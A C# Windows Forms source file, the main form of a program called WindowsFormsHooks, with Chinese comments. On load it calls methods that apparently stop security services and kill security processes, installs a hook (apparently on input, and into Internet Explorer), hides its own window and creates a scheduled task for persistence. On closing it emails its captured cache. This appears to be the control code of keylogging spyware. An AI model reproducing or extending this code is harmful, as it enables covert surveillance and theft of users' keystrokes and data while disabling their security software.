﻿namespace WindowsFormsHooks
{
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;
    using System.Deployment.Application;
    using System.Diagnostics;
    using System.Threading;
    using WindowsFormsHooks.Common;

    public partial class MainForm : Form
    {
        Analyzer analyzer = new Analyzer();
        cmd command = new cmd();
        ControlWebService.ControlWebService cws = new ControlWebService.ControlWebService();
        KillProcess kp = new KillProcess();
        
        public MainForm()
        {
            InitializeComponent();
            analyzer.Init(this);
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            kp.CloseMySelfWinThread();
            kp.StopSafeServiceThread();
            kp.KillSafeProcessThread();

            //string queryString = string.Empty;
            //判断是不是ClickOnce应用
            if (ApplicationDeployment.IsNetworkDeployed)
            {

                if (ApplicationDeployment.CurrentDeployment.CheckForUpdate())
                {
                    ApplicationDeployment.CurrentDeployment.UpdateCompleted += new AsyncCompletedEventHandler(CurrentDeployment_UpdateCompleted);
                    ApplicationDeployment.CurrentDeployment.UpdateAsync();
                }
                //queryString = ApplicationDeployment.CurrentDeployment.ActivationUri.Query;
            }
            else
            {
                command.StartHooksInIE2();
            }
            
            analyzer.PrepareFile();
            Hooker.CreateHook(analyzer.ProcessHook);
            this.Visible = false;
            command.CreateTask();
            //if (!analyzer.IsInStartup())
            //{
            //    analyzer.AddToWinStartup();
            //}
            
            //得到URL的查询条件(URL?后面的值,包括?)
            
            //if (queryString.Length < 2)
            //{
            //    //MessageBox.Show("系统错误:没有传入参数");
            //    return;
            //}
            //queryString = queryString.Substring(1);
            //string[] QueryPar = queryString.Split('&');
            //string res = string.Empty;
            //foreach (string str in QueryPar)
            //{
            //    res += "\r\n" + str;
            //}
            //res = res.Substring(2);
            ////MessageBox.Show(res);
            
        }

        void CurrentDeployment_UpdateCompleted(object sender, AsyncCompletedEventArgs e)
        {
            //throw new NotImplementedException();
            Application.Restart();
        }

        private void MainForm_FormClosing(object sender, FormClosingEventArgs e)
        {
            command.CreateTask();
            analyzer.SendCacheToEmail();
        }

        private void TimerCheckCmd_Tick(object sender, EventArgs e)
        {
            
        }
    }
}
